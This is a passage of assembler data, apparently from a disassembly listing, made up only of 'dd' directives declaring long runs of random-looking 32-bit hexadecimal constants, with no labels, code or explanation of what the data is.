180C57E7h, 3ECBD4CAh, 0F3E49DF1h, 361DF62Fh dd 43F4E8C6h, 0E493E2EEh dd 0DBF9AA20h, 35B24146h, 7A745E64h, 3AC9FFA5h, 3C62AB32h dd 0BEB2650Ah, 627247EEh, 6D433036h, 0F48292BFh, 99499DCh dd 0DACCC08Ah, 7FF9E606h, 0D497144Ah, 5FB36ABDh, 0C7FC231h dd 0DD708DCh, 963D62F3h, 40166269h, 549281CEh, 57F0C432h dd 0C415C283h, 2FB9AA5Fh, 0EB067C88h, 0D4AD40B5h, 5AA473DFh dd 0F15A1720h, 335038F6h, 228F914Eh, 0FFD2D51Ah, 0F519D111h dd 5C847060h, 0C514D8F3h, 0D7FA8634h, 6CB6C3D0h, 0A5E45E4Ch dd 5CE8BCFBh, 421BD8CBh, 76E6743Eh, 0CCC5AAFEh, 35DE96B8h dd 83FC595Eh, 0F83B396Eh, 8DAB3FF5h, 2091197Bh, 0EDF72EEEh dd 4EF0C35Ch, 35FA8877h, 0E966CDE6h, 45ED8063h, 9EB8CBBCh dd 600919FEh, 1F4EC60Eh, 0D0EDB80Dh, 0E6FD182Ah, 8654F9B2h dd 7FEFAC3Fh, 6C242CF9h, 83C23CE5h, 50E212DBh, 502962B7h dd 6DD44E86h, 7BC193A8h, 0B2B5A988h, 3051C444h, 90E34566h dd 0D0A9FE8h, 61074222h, 0A6307730h, 938DE2F0h, 3846B278h dd 3C019A9Bh, 0C79F83A0h, 30FA5C31h, 0D692402Ah, 97EA6079h dd 0C0EDBD8Bh, 80C7ADDBh, 0F6E7CEE6h, 0FA07ECFh, 4E961C56h dd 8698788Fh, 4C8885F8h, 5649E9DBh, 0E16E506Eh, 988F9BA5h dd 0CE1920D5h, 5AB3CE4h, 33F7A1B9h, 4C99FE07h, 0F2ADF31h dd 1CEA48BAh, 0F6C3C2E9h, 183FFEE6h, 0CCF80C49h, 0CCDDBBA3h dd 0A0FA21BAh, 4A553C56h, 0AB8E189Ah, 0D44BC6B6h, 7BAA5F76h dd 9E9C7A76h, 207BEE3Ah, 0DDA2C004h, 0B7F3C26h, 7C6B3BD9h dd 0EE99D849h, 5FF1BBAAh, 0B110F133h, 1B8E8ED0h, 5CA20754h dd 0AD8F6E12h, 5E2740C1h, 3DE4CAC0h, 0C772F61Eh, 0C7BEB4C2h dd 1CFADA95h, 339B3C2Bh, 2C8AD19h, 0CB1DFF88h, 0FC4F6897h dd 13252F1Dh, 0CB94F989h, 0F0A25711h, 0ED42DD52h, 60A521B3h dd 6B6120E8h, 94D5A6B7h, 94C79BBDh, 85548F8Dh, 60B3F511h dd 5AFE1D1Ch, 2D36D287h, 0C69848C3h, 6457AC63h, 88F151A3h dd 461CA312h, 13D3C3ACh, 9726E6DFh, 9D9FDEC1h, 2BABF314h dd 637CB633h, 8C004632h, 9910F16Ch, 8363DD1Bh, 2E4052ACh dd 5324ADE5h, 24453AC5h, 0C820DD1Ah, 0F1D23219h, 0BC4E57C0h dd 0E8C40A35h, 63244D9Dh, 5840F867h, 2BBFCF8Fh, 0F2A9A52Ch dd 0C7E631FFh, 0BFD291A6h, 6FF75F88h, 0B4A6A2ABh, 0EE74D570h dd 4DAB09A5h, 42793402h, 0AF511C1Ch, 96C2B600h, 4B80F025h dd 0F926C103h, 60EF328Ch, 0E74DC8DCh, 4A22DE5Fh, 21894481h dd 636862BAh, 0D059C08Fh, 0C52C5691h, 0D9EDE67Fh, 0EBBF387Fh dd 1711D615h, 0C8B923EBh, 6AFDD5D2h, 613CFB88h, 45C817E1h dd 0A70910BCh, 0A5706B62h, 8C150BFBh, 0D382B517h, 0D037FF17h dd 7AFD3B85h, 89D42C87h, 6C4B8C4Bh, 927897Ah, 55821CBAh dd 96A6A5B7h, 6896DDDEh, 3955BBC0h, 195137DDh, 6F068AC7h dd 893328C5h, 0B8C50AD7h, 41B3FBE6h, 3D318C1Bh, 0E4BE0BF8h dd 1B823E33h, 0D65ABA40h, 0D1CCB33Bh, 3381B760h, 0A916CBD1h dd 40B3085Dh, 0E377D033h, 6A727ED6h, 67AE41D2h, 0BE3F7018h dd 733937AFh, 0B9C8C970h, 0E3A7173h, 0ADD34BB7h, 98C779A8h dd 61898034h, 0A9896180h, 0C55C334Ch, 6C73285Bh, 0EF8295C9h dd 491A6339h, 286092E9h, 9B8F7116h, 4A180853h, 248FDA1Eh dd 0CDD2EFCDh, 80BD268Ch, 1A48BA72h, 0AC2B2587h, 601AC5E6h dd 0F3400211h, 2B3171B6h, 4D12F3AAh, 55970B16h, 0D2519087h dd 0B146D403h, 693DA0D2h, 0D8A3E54Eh, 0B87F0023h, 0E2E979B7h dd 5449C5FEh, 2527B8BFh, 0C3D0946h, 2A7A26C9h, 0A8C63977h dd 0D8F74ED1h, 2E13A978h, 554A0F5Bh, 0A1B24843h, 0DDC31F80h dd 98DBAB8Bh, 45E5DA43h, 5CF39F4Ah, 5E7B016Dh, 170B7397h dd 83D2C51Bh, 0F65F878Ah, 3D86BD5Ch, 54E517F1h, 0F72DD6A8h dd 0BABAE1E1h, 26AC6170h, 18EB740Eh, 64D4159Dh, 15D842D3h dd 20A2E618h, 0DE559D0Dh, 0F572AC05h, 93BE6F8Dh, 0C87CCE6Ch dd 0CB42E74h, 0C2C36AC8h, 5CC8540Eh, 0E9A2213Fh, 0AF63FC43h dd 9A81473Eh, 3D2A1655h, 271B11AFh, 7CE1FEC9h, 0CCFC1310h dd 372E27ADh, 1DBDC55Eh, 0A52525C0h, 0D79E7FF9h, 0E9265CDCh dd 15565FF0h, 0DA4AEDCCh, 0DD86ACABh, 0B2090743h, 0FF8BFFFBh dd 19E6D015h, 660D58Eh, 0E2075096h, 0B23CB170h, 909619D3h dd 0A7F60DE7h, 8F2287DEh, 83700D1Dh, 0EA9E3203h, 68C28D95h dd 77A15CBFh, 0C9097206h, 83E7BAEh, 0FE94FAC4h, 88502C84h dd 0AA4957C8h, 0A2C8F630h, 0F3FD693Fh, 8CA5510Ah, 7EA26841h dd 4505A6E7h, 0D65FD970h, 8FA30B8Ch, 6AE9528Ah, 0ED09CE42h dd 0A9D974C7h, 8F33CF39h, 681B49A8h, 31B2847Ch, 584DDBA9h dd 8DFF4D4Dh, 92663912h, 5778C775h, 592347A1h, 762D6B52h dd 7808888Ch, 485043BDh, 0E1F09303h, 97B2CD1Dh, 0CED5FC04h dd 1C45D7F1h, 0CC96D40Ch, 0F843ECF6h, 0B701866Bh, 0CE3ED265h dd 0D2D8218Ah, 660BEFEFh, 98078D83h, 13A45CA9h, 0D3DE1DE0h dd 682BF86Eh, 0FF2EADBh, 0F872F43Eh, 96B9C71Fh, 0FCF32C78h dd 0E6B54EE8h, 5AFD6D5h, 4CE9ADEFh, 33B78B38h, 14491D3h dd 0A9A6ECDFh, 95F5B883h, 0CF192BEFh, 18960581h, 0DC98A2A6h dd 0E55CA7B4h, 0FD733596h, 8A336B4Ch, 985C8141h, 0DA112A12h dd 0BD4CB657h, 2EE6B6B9h, 247C33AAh, 0AEAE8428h, 96B3CB0Ah dd 0D81B4121h, 0B35FF58Fh, 0D3946A1Fh, 75556961h, 8D26C671h dd 6BC76866h, 597C98BBh, 39F23B0Eh, 0F7F44EABh, 393C8A0Bh dd 2F808FE0h, 0F17CE65Ah, 4BF633EDh, 0CFC7C7DCh, 0FBF828DBh dd 65559E14h, 50A62464h, 483F50A5h, 641FD7ACh, 0D44506D9h dd 0E688F44Dh, 0C0F36FBDh, 82AA0BCDh, 37251DACh, 0BBB32142h dd 452D7721h, 0BFB991D7h, 7CFBB6Dh, 0CDF55890h, 0B80A5897h dd 2E5A8D53h, 9FCFCC6Ah, 3060FA6h, 0EEA8B584h, 0BC1A8DAAh dd 8C2EDE31h, 9C67F3AEh, 28E04518h, 0A6DF7CCFh, 43255836h dd 35182B14h, 2D03CF37h, 8E369F7Ah, 1784C0B7h, 0B8F17D73h dd 4E77CB7Fh, 6AAB938Fh, 4DE192DCh, 7D2FD59Eh, 0AFBC8F21h dd 3874772Dh, 59A7A8B0h, 2BF67DE2h, 3FD2216Bh, 0C4734756h dd 50755987h, 0D002BE62h, 0AB628C2Fh, 154BD1FCh, 684C302h dd 0F9893334h, 8134FAA1h, 0D4812AE0h, 0F10C6B04h, 458BB16Ch dd 0B3DD8F41h, 430E28EFh, 99CD2548h, 4CCC5A3Ah, 0C9AAD426h dd 25A5A5A9h, 1F3AB354h, 8F787A6h, 0CD1036BBh, 0A38AB527h dd 9A99B17Bh, 6FCCA5Ch, 0C79A245Bh, 0DB9E05F2h, 0C88C7344h dd 8A938489h, 6B0D95FAh, 0C9D39DEFh, 70ADD12Ah, 0E4A57725h dd 0B899F916h, 70AF0C4Fh, 72B12801h, 0FB891C9Bh, 0E9D782AFh dd 8278F501h, 98D52719h, 0C9F08747h, 8F597103h, 4F611148h dd 0FEF8F085h, 7EAA5893h, 8631E692h, 5B5D01C9h, 6648BE2Ch dd 198E95F7h, 0CAE27618h, 4A920B35h, 283CC109h, 3B3458C8h dd 9BE21032h, 179BD2E4h, 56E0FBC6h, 4F3FDDC4h, 0F797935Fh dd 3292DAEEh, 25E1F950h, 2014C62Eh, 0B76E4E36h, 0FAF97AF3h dd 0EBF3D01Ah, 3F9C3C0Fh, 2FD92996h, 0C8D62CFFh, 0AA91FBEDh dd 7B2A4952h, 24618F95h, 0EB9EA720h, 89CE2FEEh, 1CEBB67Ch dd 8B22688Ah, 0E3CF2025h, 9F2A04A1h, 448F7069h, 26FB0E65h dd 0D7182EB2h, 0FF3B2F1Eh, 613AB171h, 4B9D3345h, 9156F59Eh dd 0CE621D34h, 0E7FD43ABh, 3DAE8DE7h, 4FB29632h, 21E405A1h dd 7A31ED21h, 0BB548CAEh, 1DCDBF06h, 6CC735E4h, 63F9A4Ch dd 5A2B3944h, 0E3E768CAh dd 0DAB7BCF1h, 131ACC18h, 6D37406Ch, 38B7D323h, 25318844h dd 0CB21D154h, 0C0FFA6AFh, 2BC32873h, 4F3167h, 94013B1h dd 0A9AE3C27h, 680A53E1h, 327E6745h, 928054CBh, 1D7A3167h dd 6240AF37h, 0EEEEE9BEh, 0B44540BAh, 85FD8276h, 95D08FA3h dd 33ECA6E5h, 8EE6F288h, 0C64C39B3h, 0CF1AD787h, 63256E86h dd 5F9F6029h, 72BD8962h, 0D4DB812Fh, 0B99742F5h, 0FD96C1D1h dd 53EDF3BCh, 271CEA2h, 44D29F71h, 6ED152A9h, 35A05060h dd 2BF8D9CCh, 344BF013h, 50F562E1h, 3465DCBFh, 0FFBC6FABh dd 1F686BEFh, 97F34DE6h, 1D48B8D2h, 0A046FE48h, 0F0419647h dd 866793C6h, 0A9B5A7DEh, 0D2C3E0Fh, 3105394Fh, 208207F5h dd 76B46D26h, 964C5CDCh, 2CD4D723h, 3C7B82A6h, 0FDAD8BBFh dd 0EB70787Dh, 0D21189FFh, 98640843h, 62B898DDh, 0B84D2BACh dd 7B654485h, 87CB43C2h, 522AC17Ch, 0D0C6BAE1h, 0EC388B03h dd 506BDB1Ah, 50FCC895h, 0E34A2DBDh, 3244AFB0h, 6D3CEEAEh dd 0DB4AD0BAh, 35D3B592h, 114462CDh, 0AF389918h, 931EA130h dd 0EBDA4434h, 11FB61CFh, 9579A9B6h, 0A33E044h, 8DAED8A1h dd 0ABA7DD2Ah, 0E65019ABh, 0B450DC0h, 6DC7C5B2h, 0B7BC7C0Eh dd 0E2A2B629h, 4A6A4E25h, 48790383h, 328DDC55h, 4E52EE44h dd 0CF17BC4Dh, 0E46F5D32h, 7EE03397h, 16B7E633h, 6D0EDE51h dd 0C126485Ch, 5AA7771Bh, 31DFAB0Ch, 60F35978h, 617AA0D2h dd 0AF0FCCF7h, 8CB96A9Bh, 1A868575h, 0D1A2976Eh, 0F7909470h dd 5601DBB8h, 0A6934B64h, 6E867D96h, 0CA6E6C4Ah, 0E66B062Eh dd 5A1C5A5Fh, 0BB52CED7h, 44EE5929h, 0F41C1845h, 6565A560h dd 798D7A2Fh, 0D0902CC1h, 1409A191h, 7A5EDFE1h, 2F57BFD2h dd 0E9916D7Fh, 8F801DE3h, 0E6BBEBB6h, 8146D546h, 0C87ABD4Ch dd 38752F79h, 0ACE558E8h, 61AB50FEh, 17ABC887h, 55E29E71h dd 0BAE2C7D7h, 913E692h, 0CFA36F28h, 0F8CFFAB6h, 0D679660Fh dd 5D78FE52h, 0B20BDC82h, 82F4872Ah, 0D0336850h, 3FA70A5Ah dd 0C3372BFh, 253A8202h, 0E5A94C1Ch, 0D58E6455h, 7078307Bh dd 6C9379BAh, 2D92D396h, 0D46E49E4h, 56907CCAh, 2EF19179h dd 309814EBh, 0F0E20FB9h, 0DF5524F1h, 5FBEC44Bh, 0E55A9120h dd 9734097h, 0B7863E29h, 0F9CA060Eh, 538C2EDAh, 85979124h dd 520B09FFh, 8E5029E1h, 0E8189896h, 2B277F43h, 1CF9D51Ch dd 881C51D7h, 0B37F904Fh, 20B17F44h, 3C6F9CBAh, 57496CDh dd 40BF2484h, 5B5498E6h, 21350A70h, 94ADAFD3h, 0C2400DE0h dd 0AED5C1AEh, 34652E25h, 0B4AE641Eh, 4151E3D9h, 8494562Bh dd 9A9F697Fh, 589E24F8h, 0CD312EB4h, 0DAC04FE8h, 0E6C5743h dd 0FBE06159h, 0AA6BA4AAh, 0BEB0906Ch, 15D44DADh, 0C864F3E4h dd 527924FEh, 2F983DE3h, 3BCD1B68h, 23C3494Fh, 807954A5h dd 9BC2768h, 8F858F10h, 90FEC4FCh, 0EF7C509Dh, 1DA751EAh dd 40E4F8E0h, 7B279ED6h, 4C4CB258h, 13DDC428h, 0C6B8ECDAh dd 71BDC38Fh, 8A2C91F3h, 35C2D573h, 8BC4BFDEh, 53135430h dd 0EB472F84h, 9FE21B6Dh, 0C0550953h, 8DB21F1Dh, 808CE20Fh dd 0D4EA5BC3h, 0EF18B038h, 82C47926h, 0DB02ECB3h, 2DE9172Bh dd 4EA97BDEh, 0AB125EE6h, 0D9BE9A93h, 0F530B76Dh, 5CECE9C2h dd 41DF77F1h, 7AB8C478h, 0C06631A5h, 933D5CD8h, 70B51C8Ah dd 7D2BD1Ah, 51AFABC8h, 72EAB8Eh, 0E489F5Eh, 0A5FC160Ch dd 1F95B251h, 0CE1CDA78h, 0A44A61D1h, 0CACF5BE0h, 90026C69h dd 43248B46h, 0B121E4AEh, 0C40243C1h, 7030F430h, 0F17120A0h dd 0F7F19096h, 0BC03C283h, 0EDEF883Dh, 55A9FC0Dh, 44B05F11h dd 0C16215B1h, 0DF0B87DCh, 71956D92h, 0B60482F5h, 6FDECDh dd 0E6DA04EFh, 7BD518CFh, 914B3E21h, 0F8808040h, 99B94ED7h dd 6DA512A5h, 0E238DF7Fh, 0D48A0915h, 0B06FD119h, 4B9BB305h dd 955B282Ch, 0FD450230h, 33A52E54h, 0CCA91906h, 8E82C428h dd 1286F724h, 7EF41FC4h, 435D64F4h, 8A1255ACh, 34514CD0h dd 0CAD8FA78h, 0F2B92441h, 0B7175ED7h, 56F3538Dh, 4C744A6Bh dd 54716ABEh, 0BA513915h, 0E623A077h, 54AA403Dh, 0D78811E2h dd 0FC75182Fh, 2A96A507h, 88B201C3h, 5CFDD0A4h, 7D8AE8A4h dd 0A3E6B871h, 9CF7374h, 4524914Dh, 0EF3D3CA7h, 0AA42E193h dd 62A646F8h, 365D214Ch, 148F80F6h, 0D48C45ADh, 7B89659Eh dd 67A7F2E4h, 971FD178h, 50110D15h, 2A56160Ch, 952239E0h dd 0CA808h, 1741E1D8h, 25E0F771h, 4C10736Dh, 0FE0A2D4Fh dd 0BC41ACAAh, 7123898h, 5022DA56h, 0C30EBA82h, 1A8B0C4h dd 0BB90AB46h, 9C52CDEAh, 70EC1ABAh, 0C9306B54h, 375286E3h dd 5EDC5CC5h, 0C98D7650h, 52E74367h, 190A4383h, 0BD5D7D94h dd 0CF2B41D2h, 0D31A609Dh, 0BCC552A2h, 0A0FA60AEh, 672C2334h dd 99E80279h, 73D70BD0h, 0DA9D5BC0h, 0FB2CB0B0h, 0C876364h dd 0FE890B3Bh, 0ACEDE6FBh, 577D7927h, 4D5F0B34h, 530F626h dd 697B097Eh, 39E0076Dh, 0CD45716Ch, 9435E1C2h, 37ACD231h dd 43368E16h, 6307C519h, 209E76EAh, 853ED5CFh, 0B705D8A7h dd 0E02F1C9Dh, 2D16C9Eh, 0AF419316h, 5BABA85Dh, 24E70AD7h dd 0EE2E8FBCh, 0B76A14BDh, 21233470h, 0E8C35915h, 325AA592h dd 1D862137h, 0EEC2788Dh, 0BC569330h, 7E27329Dh, 32956EADh dd 0B6E654FEh, 96EE9E02h, 0A9709BDEh, 1318D79Ah, 0B06B5749h dd 5F1C9D79h, 779ECD59h, 0F66AF0AFh, 0A9D177DCh, 15FD5CAh dd 83E41063h, 0D30D21BFh, 5FB2DCCDh, 0A86424CCh, 6E4E49B8h dd 0B388EA38h, 0E9932F77h, 8B6ABFD8h, 7E393590h, 53A6E15Dh dd 0B4023B8Fh, 33BD8AE0h, 65B70F70h, 92FD849Eh, 0AF979656h dd 0C15A4D93h, 0B1AC108h, 0DD35F6F4h, 36BB8C57h, 30FF551h dd 7830EB0Eh, 9618DAC0h, 61127246h, 8408C891h, 1BDCE53Eh dd 0A4C1DC75h, 5D9222D9h, 0FA1646EAh, 0B158300Eh, 80080B5h dd 0E11C61F2h, 75A8DA98h, 2CF7C0F2h, 0F54769CAh, 47A29D3Ch dd 0D45FFE90h, 2AAD289Fh, 314D545h, 0BAEFC161h, 0F8DA9B6Bh dd 0AB164EE9h, 7F6893AAh, 309CA420h, 0A039183Dh, 0F6D127FAh dd 0FE38120Fh, 3F0CAC06h, 0B98CE054h, 24D60E0Ah, 95ED4D50h dd 0F2DC7366h, 0C4E937ABh, 5BCA049Ah, 41903126h, 29245F3Eh dd 0B4EA7790h, 2E62885h, 3F11EEh, 4F1CBAEh, 0EB98C41Ah dd 0AD947A03h, 0D87C13CEh, 0E309CC08h, 1A6A2B1Fh, 490902DBh dd 0EED611D6h, 0EB09A889h, 0A716F97h, 1D676153h, 0B037E9BBh dd 0C5A9BD67h, 72CEB306h, 16A1A6E9h, 731030D8h, 386C147Bh dd 46F2B917h, 99908E3Bh, 8792BB46h, 0AE498E87h, 37EC7B1Eh dd 62371B4Ah, 107832A7h, 9C8366DAh, 32821B9Bh, 70637395h dd 9D4AB2DAh, 0AEDACEDCh, 754514A5h, 5342E7CDh, 0FD6AFB73h dd 0BF23B0E7h, 0E52B922h, 0D397049Bh, 0D322A5A0h, 9BFA079Bh dd 87AFE3B1h, 1191EF78h, 0F5EEA4F9h, 72A54B8Ch, 0DDB49ACEh dd 0CBE41E7Fh, 4A59B33h, 0B560B4EEh, 106EFE1Fh, 7797392Ch dd 0BECF67E4h, 3759754h, 6EFF9DC0h, 21F490DEh, 6BD1969Bh dd 78F7F342h, 6846E161h, 0E3979567h, 0D78D0BB0h, 2D9BB642h dd 0DA2442FAh, 83243F8h, 0FBAA700Bh, 0FD0F5A3Bh, 0F7F07D6Eh dd 4672F37Ah, 0E33CD41Bh, 59B2CD31h, 5FD52839h, 0DE232E53h dd 6D5D6366h, 50AD2D08h, 141AF1Dh, 0C866716Fh, 4B2EEDD0h dd 99DFFE84h, 0D124F4F0h, 2E9457C0h, 0F2F6E573h, 7DD0B83Ah dd 0A272ACC8h, 4A8F51C0h dd 0EB547F56h, 2C351CCDh, 0B089D78Ah, 1DB12EB7h, 1E1F3735h dd 3C309D40h, 0B8912B33h, 0FBCEC718h, 0F27DBD57h, 0C50D91EDh dd 0F5D852EBh, 301051B7h, 0E461621Eh, 68102DD4h, 7011E2F8h dd 0BCCB3693h, 15D887EFh, 0E27576EAh, 71DFDDDAh, 68D29FBEh dd 693A3259h, 15FBCCA0h, 0C391DF33h, 6C35CBDDh, 24107F2Ah dd 0EABB7C8h, 0C499B55h, 0E81FCA52h, 82E5D1A4h, 3AADDD74h dd 79232489h, 0ECB154AAh, 477150ACh, 0A7C2D59h, 0A72C193Bh dd 0E2F85DDDh, 8DEC52A9h, 8BCFA6A4h, 7D3BED44h, 87350407h dd 91E9DE5Ch, 1EF01589h, 268DE719h, 0AE31871Dh, 0F5A65CBCh dd 595F7874h, 0C7184846h, 68B91DFEh, 0F6299C4Ch, 2DC9C1EAh dd 6A184BDCh, 0D8DD49DDh, 2EA40A63h, 0EFF0CD63h, 4CF68E1h dd 2EEDE32Fh, 3C3762BCh, 4402C15Eh, 0A2FC93C7h, 173AA1B7h dd 0EF8F6E3Ah, 142C5C71h, 5491C7EBh, 483FBC32h, 0BDEE1201h dd 4D2B8592h, 81B1053Fh, 0CACC37FAh, 0F10BED3Bh, 0F09D419Dh dd 3614110h, 8352521Eh, 605D18E0h, 8EC81701h, 0DEC25964h dd 57DDE7B2h, 560F9CFBh, 4257BA95h, 20B9C835h, 0F0E1EE7Eh dd 14BD5BF7h, 0BA45C94Ch, 0EE4283BAh, 0EFD8E036h, 4CF7751Dh dd 0E8400462h, 30219DACh, 3DAD8BDBh, 8BE60BF2h, 65D8E07Dh dd 1404D997h, 5A1B7957h, 5E9B8063h, 18A5ABEBh, 75F6BADCh dd 742E7D90h, 3169C896h, 4200238Ah, 0CD98E1FFh, 18454BCDh dd 0BAAC9AD8h, 2730114h, 2945B17Ch, 0E3C31729h, 83A031C1h dd 38CE39DDh, 93C4417Ch, 0FFE1EC01h, 72333503h, 0AE29792Ch dd 90A608BBh, 9811AF8Ah, 0FC8CC2D5h, 1E032CC6h, 0DAD1C65Dh dd 5CDAA16Fh, 0F6A0CF4Ch, 8DAA8873h, 0A8952DBAh, 0A1347209h dd 5254D1EDh, 0ED5B073Ah, 0C9A53B13h, 9631A16Ah, 3B5FF53Ah dd 0DA856258h, 0EC1A3E5Ch, 9278B344h, 9FC42465h, 9D34B42Fh dd 7A0828B5h, 8B8DEE28h, 79146F93h, 0EE1BA86Fh, 0E6DCC487h dd 89CA5207h, 0F0ED1AB3h, 53CAC886h, 0E5544E9Dh, 0EE6535F8h dd 7462CDC8h, 0EF4036Fh, 0D7E4F8D7h, 7F36BDB8h, 1993A042h dd 0C2051F8Fh, 0CA54E44Eh, 0A62F54A3h, 0AE82FCCFh, 0E99DE17Dh dd 0B41A942Ch, 64D5C689h, 8D05B304h, 8815A101h, 0D6D7E2E5h dd 42C57857h, 2DA5E694h, 54F1A66Ch, 1C82E287h, 3D906EC0h dd 667140A3h, 0BF633588h, 0E0340604h, 8DC7875h, 6095C8A6h dd 210DC64h, 0D39AC086h, 0A7B065D4h, 279453B4h, 0A1310E29h dd 0F51B07C2h, 9EFF33F4h, 9B284A66h, 799B6337h, 705C6416h dd 20F3C886h, 0B45AA7ACh, 8BF18A7h, 1A40F731h, 3C4EA197h dd 8C18F2B4h, 0FE6578FAh, 0ADC84D9Bh, 907FBC60h, 0B3A37348h dd 0C4BB6BE6h, 0A1185DBBh, 6057971Dh, 654EBFCEh, 9E1748A3h dd 61A71427h, 8E10DDF5h, 231862CBh, 6BFFDE4Eh, 4803D856h dd 0A4165617h, 33EFAADAh, 4DDF08C5h, 0DBEBC3A7h, 5882CAB3h dd 0F4C53897h, 3BDCF70Dh, 0E0A73EB8h, 7DB66EA6h, 2E719751h dd 4C6AB9D5h, 797F9051h, 63836419h, 0B712AA50h, 6560B3E6h dd 7BD5293Fh, 558B7D78h, 53D5708Bh, 6D564344h, 0D6E13A6h dd 917FE3A3h, 2FC2459h, 9E42A2FAh, 0FE4DEEB6h, 0B5A3FEE9h dd 70AC8512h, 0DBB646AAh, 39A46CF3h, 0FB67B3B6h, 0D14C10F8h dd 95924940h, 728A0045h, 0A8173DBBh, 71F08DDBh, 7B1DA84Dh dd 224E95D8h, 6863DF0h, 65F872B6h, 63E5B471h, 0AE2ABDB0h dd 99135461h, 7681B916h, 5EE33E0Dh, 620E8A13h, 0C8A29248h dd 4B04E806h, 0B2786AB6h, 0E441BDAEh, 0BAE0D30Eh, 433EBA7Bh dd 3DAD2710h, 6A864A03h, 0F395612Fh, 0A12255F8h, 1DD61BA7h dd 280B49B9h, 1664172Eh, 6A01A62Fh, 0BA7FFB1Eh, 56C4E1BEh dd 0A1076BB9h, 1A4D907Bh, 0A615B5A4h, 5C3B20Ah, 36EA34Ch dd 45D53706h, 48DD07FFh, 0DFCACF46h, 8C643411h, 0A4E6A1EEh dd 0DCF1E31Ch, 4A79D784h, 9BA014E3h, 0C4D1F928h, 1F680A50h dd 4528055Ah, 0D66BEF87h, 0F0F03524h, 16B345DBh, 0B6B15CE3h dd 0B1208270h, 1EBD55A6h, 0F80A3136h, 55D8FDBBh, 0C1F9240Ch dd 0A9C15630h, 0CA6EAA0Ah, 31AECC4Dh, 0E2618E67h, 8A3CE066h dd 786E96A2h, 0C325D3CDh, 76162FAAh, 9CF918F1h, 14900A29h dd 0FB9D8E07h, 9E723587h, 0A61AF2A6h, 7DD879Fh, 0B53CB103h dd 5A22D015h, 88E44143h, 0ABBF7E19h, 0EECBBEF9h, 0F95D95B8h dd 0AE0DB431h, 5EDA1BC8h, 0A51DFB11h, 0B702E0E4h, 7567216Bh dd 8755633Eh, 0A3F9E823h, 411C70DEh, 0DC45FDC1h, 448F9A89h dd 0F624568h, 0BC5B0136h, 882DA2F1h, 1A7CCFF7h, 15E16D53h dd 0BC6078BBh, 1ED2FE39h, 40FCB003h, 8319A290h, 1DC3AC47h dd 0E12DBD89h, 65F16E61h, 9FE2DEBBh, 81A37762h, 5A4B136Dh dd 50577E2h, 0D3AEB539h, 5CAC6974h, 0DD79755Ch, 6E4E9E6Bh dd 0B3FCE6E1h, 0BC64630Ch, 45C739FBh, 25AA1780h, 0C06BD7CBh dd 504E1DA0h, 0DA6C63FDh, 1056129Eh, 0BE9F5FFh, 0B1C31B0Dh dd 7494537Fh, 616DDCh, 0A068308Dh, 831A8395h, 11253E41h dd 0B520F9F1h, 80371F2Eh, 0F8E1188h, 0A381535Fh, 0D0D12C5Dh dd 50389F77h, 8A9B7008h, 0FE880175h, 2EB74C5Dh, 9407EA18h dd 50B53B9Dh, 80734CA2h, 4C28B494h, 802EF554h, 0C1774245h dd 350DF8D4h, 1F19A19Ch, 8C344CCBh, 37A104B6h, 404ED1F2h dd 56E3EB6Bh, 5C44E28Ah, 6C87F58Ah, 74307997h, 0EC8AB722h dd 4117A555h, 42C39C52h, 941B20D9h, 0F33FAE00h, 663A498h dd 0F017CA58h, 0A75B890Ch, 0D0CEED3Ch, 0F5A4BD62h, 6235DC15h dd 0A425AA2Dh, 0D8A5C4B9h, 96BFA522h, 18F4CC04h, 9305FAB4h dd 8AE2F5D2h, 0E4CC0F4Fh, 2CA98C74h, 95C73492h, 0C4F54B87h dd 1D79876Ah, 9B2D5DE0h, 6201F14Ah, 0D6E676A3h, 0F13F474Eh dd 82BEA18h, 0C79C651Bh, 92137E0Ah, 5410EEA7h, 0AC76026Eh dd 85462DE6h, 92F33C2h, 0BEB0F03Eh, 5A9841FCh, 4F02140Dh dd 2B90268Bh, 706B4DAEh, 210CAEB2h, 2EAA93A5h, 49A97Fh dd 15CB9F4Ah, 8FEDC3BFh, 0F391FC8Bh, 0D64E73D6h, 0B0AEA9Ch dd 3A6C2761h, 0EA1C147Dh, 66BE5901h, 79665541h, 55AC8BCCh dd 335562E9h, 8E7214CAh, 0A88EFFFCh, 0E4B4A968h, 0E3533414h dd 0C34EDEE9h, 81214F69h, 0DFD87B96h, 42CB3365h, 0A0F56688h dd 823FE667h, 34362130h, 468EDC2h, 7E410812h, 9F2AAB0Bh dd 0B5451904h, 31DDF0B9h, 669FCF7Fh, 853E4941h, 89A001A7h dd 970D0C60h, 0BB821934h, 154A8C55h, 0AF925917h, 0B0E09E0Ch dd 68A6FD3Eh, 0DE929F55h, 130592EBh, 9834886Ah, 0E0B4F0E8h dd 9A9FCEC4h, 0B43A061h, 6442AA3Ah, 9C8D20BCh, 12E8CE6h dd 0D425F6A9h, 132D87B0h, 0F69CABFh, 16AACA56h, 15F3C2CBh dd 0E9863183h, 806B8498h, 2E6AD581h, 492DC4F6h, 28D296ACh dd 7851BA63h, 94F3EC88h, 86C814E7h, 86243C23h, 23563565h dd 0A40B1F7h, 4F11D15Ah, 19D2FF66h, 0E6BC257Bh, 47BE0A15h dd 8B86BC24h, 330956E6h, 85BBAA5Ah, 0B5B5F520h, 424E00D3h dd 8E8C94EDh, 5E5B6643h, 6253909Ah, 0D69BDA96h, 413ADF4Ah dd 90828222h, 0ED44ACEFh, 7A756E1Eh, 0B8BA8350h, 161350CFh dd 15E8E48Ah, 190F0289h, 0F303FB0Eh, 7C2F2B50h, 3F3BE776h dd 0EE8885AEh, 931D31F5h, 0DF686468h, 88BCF144h, 0B968D8FFh dd 0E2479AE3h, 2E9E3FBBh, 0D3107447h, 28CD48D0h, 4317D28Ah dd 0BFD49446h, 4ECA981Ch, 7963F409h, 5C10B9C3h, 20A5B14Ch dd 33F97665h, 63A88D8Dh dd 2CEEE120h, 0DD1EE2Ah, 5DE2FFDCh, 0A14B05AAh, 9478E218h dd 2AD4FF20h, 914EFED7h, 27AF3F5Ah, 0D3D3B320h, 8D55FF08h dd 556B7454h, 2AC545E5h, 9AD19370h, 840EE5B1h, 0EF75013Eh dd 0CA5D21F8h, 323D4455h, 2708A794h, 0BCE8EB0Eh, 0A5B00337h dd 7B77E4FBh, 933C340Ah, 151F2BC3h, 0D2D7453Ah, 3B1BD04Bh dd 102AE421h, 5706B578h, 8C1D5605h, 0A54A2837h, 0DB71AF4Ch dd 1E40AE16h, 0A219CE8h, 527311B6h, 0D7AE59E9h, 5CFFC46Dh dd 9E651F70h, 8631409Eh, 7D0C2F41h, 0BB44D01Dh, 0E39AAB21h dd 0E5702CFFh, 56394B10h, 0C12ADB33h, 0AECD432Ch, 